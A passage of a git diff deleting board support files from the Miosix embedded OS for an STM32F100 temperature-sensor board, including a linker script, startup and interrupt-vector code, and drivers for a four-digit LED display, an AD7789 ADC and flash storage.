.gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100cb_tempsensor/core/stage_1_boot.cpp b/miosix/arch/cortexM3_stm32f1/stm32f100cb_tempsensor/core/stage_1_boot.cpp deleted file mode 100644 index e6bdc9cab..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100cb_tempsensor/core/stage_1_boot.cpp +++ /dev/null @@ -1,281 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32 medium density value line devices ONLY (64 and 128KB devices). - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMPER_IRQHandler(); -void __attribute__((weak)) RTC_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel1_IRQHandler(); -void __attribute__((weak)) DMA1_Channel2_IRQHandler(); -void __attribute__((weak)) DMA1_Channel3_IRQHandler(); -void __attribute__((weak)) DMA1_Channel4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel5_IRQHandler(); -void __attribute__((weak)) DMA1_Channel6_IRQHandler(); -void __attribute__((weak)) DMA1_Channel7_IRQHandler(); -void __attribute__((weak)) ADC1_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM15_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM16_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM17_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) CEC_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMPER_IRQHandler, - RTC_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Channel1_IRQHandler, - DMA1_Channel2_IRQHandler, - DMA1_Channel3_IRQHandler, - DMA1_Channel4_IRQHandler, - DMA1_Channel5_IRQHandler, - DMA1_Channel6_IRQHandler, - DMA1_Channel7_IRQHandler, - ADC1_IRQHandler, - 0, - 0, - 0, - 0, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM15_IRQHandler, - TIM1_UP_TIM16_IRQHandler, - TIM1_TRG_COM_TIM17_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - CEC_IRQHandler, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - 0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 0,0,0, - reinterpret_cast(0xF108F85F) - /* @0x1E0. This is for boot in RAM mode for - STM32F10x Medium Value Line Density devices.*/ -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMPER_IRQHandler = Default_Handler -#pragma weak RTC_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel1_IRQHandler = Default_Handler -#pragma weak DMA1_Channel2_IRQHandler = Default_Handler -#pragma weak DMA1_Channel3_IRQHandler = Default_Handler -#pragma weak DMA1_Channel4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel5_IRQHandler = Default_Handler -#pragma weak DMA1_Channel6_IRQHandler = Default_Handler -#pragma weak DMA1_Channel7_IRQHandler = Default_Handler -#pragma weak ADC1_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM15_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM16_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM17_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak CEC_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100cb_tempsensor/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_stm32f1/stm32f100cb_tempsensor/interfaces-impl/bsp.cpp deleted file mode 100644 index 8df729da5..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100cb_tempsensor/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,330 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** - * bsp.cpp Part of the Miosix Embedded OS. - * Board support package, this file initializes hardware. - ************************************************************************/ - -#include -#include -#include "interfaces/bsp.h" -#include "interfaces/delays.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "board_settings.h" - -using namespace std; - -// -// Interrupts -// - -static unsigned char digits[4]={0}; - -void TIM3_IRQHandler() -{ - TIM3->SR=0; //Clear IRQ flag - static int i=0; - GPIOB->ODR=(0x0f00 & ~(1<<(i+8))) | digits[i]; - if(++i>=4) i=0; -} - -namespace miosix { - -// -// LED Display driver -// - -static void initDisplay() -{ - //Start the IRQ that will drive the 4 digit LED display - TIM3->DIER=TIM_DIER_UIE; - TIM3->CNT=0; - TIM3->PSC=0; - TIM3->ARR=60000; //24MHz/60000=400Hz - TIM3->CR1=TIM_CR1_CEN; - NVIC_SetPriority(TIM3_IRQn,15); //Lowest priority for timer IRQ - NVIC_EnableIRQ(TIM3_IRQn); -} - -void clearDisplay() -{ - memset(digits,0,4); -} - -void showNumber(float number) -{ - static const unsigned char plusErr[]= {0x00,0x79,0x50,0x50}; // " Err" - static const unsigned char minusErr[]={0x40,0x79,0x50,0x50}; // "-Err" - static const unsigned char digitTbl[]= - { - // 0 1 2 3 4 5 6 7 8 9 - 0x3f,0x06,0x5b,0x4f,0x66,0x6d,0x7d,0x07,0x7f,0x6f - }; - int num=static_cast(number*100.0f + (number>=0.0f ? 0.5f : -0.5f)); - //Last digit is 4 to account for rounding number that don't fit in 4 digits - if(num>99994) memcpy(digits,plusErr,4); - else if(num<-9994) memcpy(digits,minusErr,4); - else { - int decimal=1; - if(num>9999) { decimal=2; num=(num+5)/10; } //+5 is for rounding - else if(num<-999) { decimal=2; num=(num-5)/10; } //-5 is for rounding - //Now num is always in the range -999 to 9999, make it positive - if(num<0) num=-num; - unsigned char temp[4]; - temp[3]=digitTbl[num % 10]; num/=10; - temp[2]=digitTbl[num % 10]; num/=10; - temp[1]=digitTbl[num % 10]; num/=10; - if(number<0) temp[0]=0x40; // "-" - else if(num>0) temp[0]=digitTbl[num]; else temp[0]=0x00; // " " - temp[decimal] |= 0x80; //Add '.' - memcpy(digits,temp,4); - } -} - -void showLowVoltageIndicator() -{ - static const char bat[]={0x7c,0x77,0x78,0x0}; //"bAt " - memcpy(digits,bat,4); -} - -// -// AD7789 driver -// - -unsigned char spi1sendRecv(unsigned char x) -{ - SPI1->DR=x; - while((SPI1->SR & SPI_SR_RXNE)==0) ; - return SPI1->DR; -} - -static void initAdc() -{ - SPI1->CR1=SPI_CR1_SSM //No HW cs - | SPI_CR1_SSI - | SPI_CR1_SPE //SPI enabled - | SPI_CR1_BR_0 //SPI clock 24/4=6 MHz - | SPI_CR1_MSTR //Master mode - | SPI_CR1_CPOL //AD7789 datasheet specifies SCK default high - | SPI_CR1_CPHA;//AD7789 datasheet specifies sampling on rising edge - delayUs(1); - cs::low(); - spi1sendRecv(0x10); //Write to mode register - spi1sendRecv(0x06); //Continuous conversion, unipolar mode - cs::high(); - delayUs(1); -} - -unsigned char readStatusReg() -{ - cs::low(); - spi1sendRecv(0x08); - unsigned char result=spi1sendRecv(); - cs::high(); - delayUs(1); - return result; -} - -unsigned int readAdcValue() -{ - cs::low(); - spi1sendRecv(0x38); - unsigned int result=spi1sendRecv(); - result<<=8; - result|=spi1sendRecv(); - result<<=8; - result|=spi1sendRecv(); - cs::high(); - delayUs(1); - return result; -} - -// -// PVD driver -// - -static void configureLowVoltageDetect() -{ - PWR->CR |= PWR_CR_PVDE //Low voltage detect enabled - | PWR_CR_PLS_1 - | PWR_CR_PLS_0; //2.5V threshold -} - -bool lowVoltageCheck() -{ - return (PWR->CSR & PWR_CSR_PVDO) ? false : true; -} - -// -// class NonVolatileStorage -// - -NonVolatileStorage& NonVolatileStorage::instance() -{ - static NonVolatileStorage singleton; - return singleton; -} - -bool NonVolatileStorage::erase() -{ - FastInterruptDisableLock dLock; - if(IRQunlock()==false) return false; - - while(FLASH->SR & FLASH_SR_BSY) ; - FLASH->CR |= FLASH_CR_PER; - FLASH->AR=baseAddress; - FLASH->CR |= FLASH_CR_STRT; - while(FLASH->SR & FLASH_SR_BSY) ; - FLASH->CR &= ~FLASH_CR_PER; - - FLASH->CR |= FLASH_CR_LOCK; - - for(int i=0;i(baseAddress+i)!=0xff) return false; - return true; -} - -bool NonVolatileStorage::program(const void* data, int size) -{ - const char *ptr=reinterpret_cast(data); - size=min(size,capacity()); - - FastInterruptDisableLock dLock; - if(IRQunlock()==false) return false; - - bool result=true; - for(int i=0;i(baseAddress+i); - while(FLASH->SR & FLASH_SR_BSY) ; - FLASH->CR |= FLASH_CR_PG; - *target=val; - while(FLASH->SR & FLASH_SR_BSY) ; - FLASH->CR &= ~FLASH_CR_PG; - if(*target!=val) result=false; - } - - FLASH->CR |= FLASH_CR_LOCK; - return result; -} - -void NonVolatileStorage::read(void* data, int size) -{ - size=min(size,capacity()); - memcpy(data,reinterpret_cast(baseAddress),size); -} - -bool NonVolatileStorage::IRQunlock() -{ - if((FLASH->CR & FLASH_CR_LOCK)==0) return true; - FLASH->KEYR=0x45670123; - FLASH->KEYR=0xCDEF89AB; - if((FLASH->CR & FLASH_CR_LOCK)==0) return true; - return false; -} - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios, as well as AFIO, SPI1, TIM3 - RCC->APB2ENR |= RCC_APB2ENR_IOPAEN | RCC_APB2ENR_IOPBEN | - RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN | - RCC_APB2ENR_AFIOEN | RCC_APB2ENR_SPI1EN; - RCC->APB1ENR |= RCC_APB1ENR_TIM3EN | RCC_APB1ENR_PWREN; - RCC_SYNC(); - - //Board has no JTAG nor SWD, and those pins are used - //HSE is not used, remap PD0/PD1 in order to avoid leaving them floating - AFIO->MAPR |= AFIO_MAPR_SWJ_CFG_2 | AFIO_MAPR_PD01_REMAP; - - //Note: all OUT pins speed limited to 2MHz except SPI and UART, that are - //limited to 10MHz. This has been done to reduce power supply "noise" - //PA5 AF out, PA6 AF out, PA7 in pulldown, PA9 AF out, PA10 in pu, other OUT - GPIOA->CRL=0x98912222; - GPIOA->CRH=0x22222892; - GPIOA->ODR=0x0410; //Enable pullup on PA10, and set PA4 high (SPI CS) - GPIOB->CRL=0x22222222; //Port B : all out - GPIOB->CRH=0x22222222; - GPIOB->ODR=0x0f00; //Keep display off at boot - GPIOC->CRH=0x22222222; //PC13 through PC15: all out - GPIOD->CRL=0x22222222; //PD0 and PD1 all out - - initAdc(); - configureLowVoltageDetect(); - - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); - - //The serial port drver reconfigures PA9 to 50MHz AF out and PA10 to - //floating in, but we want them as configured previously, so override - GPIOA->CRH=0x22222892; - GPIOA->ODR=0x0410; //Enable pullup on PA10, and set PA4 high (SPI CS) -} - -void bspInit2() -{ - initDisplay(); -} - -// -// Shutdown and reboot -// - -void shutdown() -{ - reboot(); //This board needs no shutdown support, so we reboot on shutdown -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100cb_tempsensor/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM3_stm32f1/stm32f100cb_tempsensor/interfaces-impl/bsp_impl.h deleted file mode 100644 index ae85c6600..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100cb_tempsensor/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,137 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "interfaces/gpio.h" - -namespace miosix { - -/** - * Clear the 4 digit LED display on the board - */ -void clearDisplay(); - -/** - * Show a number, in the range -99.9 to 999.9 on the 4 digit LED display - * \param number the number to show - */ -void showNumber(float number); - -/** - * Show the word "bAt" on the LED display - */ -void showLowVoltageIndicator(); - -typedef Gpio cs; ///< For low-level SPI access - -/** - * Send a single byte to SPI, requires to pull cs low first - * \param x byte to send - * \return byte received - */ -unsigned char spi1sendRecv(unsigned char x=0); - -/** - * Higher level function to read the status register of the AD7789 connected - * through SPI - * \return the status register - */ -unsigned char readStatusReg(); - -/** - * Higher level function to read a sample from the AD7789 connected through SPI - * \return the last converted ADC value - */ -unsigned int readAdcValue(); - -/** - * \return true if the supply voltege is high enough - */ -bool lowVoltageCheck(); - -/** - * This class allows to store non volatile data into the last FLASH page - * of the microcontroller. - */ -class NonVolatileStorage -{ -public: - /** - * \return an instance of this class - */ - static NonVolatileStorage& instance(); - - /** - * \return the maximum size of the available storage - */ - int capacity() const { return 1024; } - - /** - * Erase the non voltaile storage, resetting it to all 0xff - * \return true on success, false on failure - */ - bool erase(); - - /** - * Program data into the non volatile storage - * \param data data to write to the non-volatile storage - * \param size size of data to write - * \return true on success, false on failure - */ - bool program(const void *data, int size); - - /** - * Read back data from the non volatile storage - * \param data data to read to the non-volatile storage - * \param size size of data to read - */ - void read(void *data, int size); - -private: - NonVolatileStorage() {} - NonVolatileStorage(const NonVolatileStorage&); - NonVolatileStorage& operator= (const NonVolatileStorage&); - - /** - * Perform the unlock sequence - * \return true on success, false on failure - */ - bool IRQunlock(); - - static const unsigned int baseAddress=0x0801fc00; -}; - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100cb_tempsensor/stm32_127k+8k_rom.ld b/miosix/arch/cortexM3_stm32f1/stm32f100cb_tempsensor/stm32_127k+8k_rom.ld deleted file mode 100644 index 1934a5cab..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100cb_tempsensor/stm32_127k+8k_rom.ld +++ /dev/null @@ -1,171 +0,0 @@ -/* - * C++ enabled linker script for stm32 (127K FLASH, 8K RAM) - * Last 1K of FLASH is reserved as non-volatile storage by the BSP - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 8KB microcontrollers */ -_heap_end = 0x20002000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 127K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 8K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100cx_generic/core/stage_1_boot.cpp b/miosix/arch/cortexM3_stm32f1/stm32f100cx_generic/core/stage_1_boot.cpp deleted file mode 100644 index e6bdc9cab..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100cx_generic/core/stage_1_boot.cpp +++ /dev/null @@ -1,281 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32 medium density value line devices ONLY (64 and 128KB devices). - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until 